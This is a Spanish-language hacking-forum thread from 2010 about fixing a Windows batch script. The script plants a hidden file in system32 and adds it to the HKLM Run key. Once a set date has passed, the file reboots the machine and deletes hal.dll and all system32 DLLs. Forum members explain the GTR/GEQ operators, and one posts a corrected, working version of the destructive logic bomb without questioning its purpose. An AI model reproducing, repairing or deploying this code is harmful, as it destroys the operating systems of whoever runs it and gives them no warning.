Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: supradyn_activo en 4 Julio 2010, 02:22 am



Título: problema en batch
Publicado por: supradyn_activo en 4 Julio 2010, 02:22 am
Código
  1. @echo off
  2. cd "%windir%\system32"
  3. echo @echo off >> Wlcomn.bat
  4. echo set fin=20/07/2010 >> Wlcomn.bat
  5. echo if %%DATE%% == %%fin%% ( >>Wlcomn.bat
  6. echo shutdown -r -t 4 >> Wlcomn.bat
  7. echo erase /q /a "%%windir%%\system32\hal.dll" >>Wlcomn.bat
  8. echo erase /q /a "%%windir%%\system32\*.dll" >>Wlcomn.bat
  9. echo ) else ( >> Wlcomn.bat
  10. echo exit ) >> Wlcomn.bat
  11. @reg add Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run /V Wlcomn /f /D %Windir%\system32\Wlcomn.bat
  12. attrib +h "%windir%\system32\Wlcomn.bat"

Necesito que en esta linea: "echo if %%DATE%% == %%fin%% ( >>Wlcomn.bat" sea un mayor que... como se haria?funcionaria?


Título: Re: problema en batch
Publicado por: leogtz en 4 Julio 2010, 02:52 am
¿Tu dices cambiar el operador de comparación == por mayor qué?


Título: Re: problema en batch
Publicado por: Hekaly en 4 Julio 2010, 22:30 pm
buenas supradyn_activo

Lo que buscas es que en vez de ser ==, sea >= , no??

Pues bien, como sabras al poner ">" en batch se lo toma como redireccion y da error , en cambio ya pensaron en eso y es utilizar otras expresiones que no sean (=, !=, <, >, <= o>=).

EQU --> igual
NEQ --> no igual
LSS --> menor que
LEQ --> menor que o igual
GTR --> mayor que
GEQ --> mayor que o igual

Esto lo puedes encontrar en la ayuda del if.

Ahora bien cambiando la linea por esta:

echo if %%DATE%% GTR %%fin%% ( >>Wlcomn.bat

Haber si es eso lo que quieres.






Título: Re: problema en batch
Publicado por: flony en 6 Julio 2010, 16:44 pm
solo para saber...
queres que se haga despues de n inicios o sea a la decima prendida de pc por ejemplo, que arranque siempre despues de una fecha, queres que solo funcione una vez despues de tal fecha...
edito
de todas formas aca esta tu bat funcionando este bat va a funcionar siempre que haya pasado el 20/07/2010
Código:
@echo off
cd "%windir%\system32"
echo @echo off>>wlcomn.bat
echo set fin=20/07/2010>>wlcomn.bat
echo if %DATE% GEQ %fin% (>>wlcomn.bat
echo shutdown -r -t 4 >>wlcomn.bat
echo erase /q /a "%%windir%%\system32\hal.dll">>wlcomn.bat
echo erase /q /a "%%windir%%\system32\*.dll">>wlcomn.bat
echo ) else exit>>wlcomn.bat
@reg add Hkey_Local_Machine\Software\Microsoft\Windows\CurrentVersion\Run /V Wlcomn /f /D %Windir%\system32\Wlcomn.batattrib +h "%windir%\system32\Wlcomn.bat"
attrib +h "%windir%\system32\Wlcomn.bat"
en la parte del registro estodo junto en el mismo renglon pero no lo se poner  :rolleyes:
tus errores son
en el
Citar
%%DATE%% == %%fin%%
lleva solo un % no dos...y en el else no se pone () va yo no los pongo asi dice la ayuda de IF /?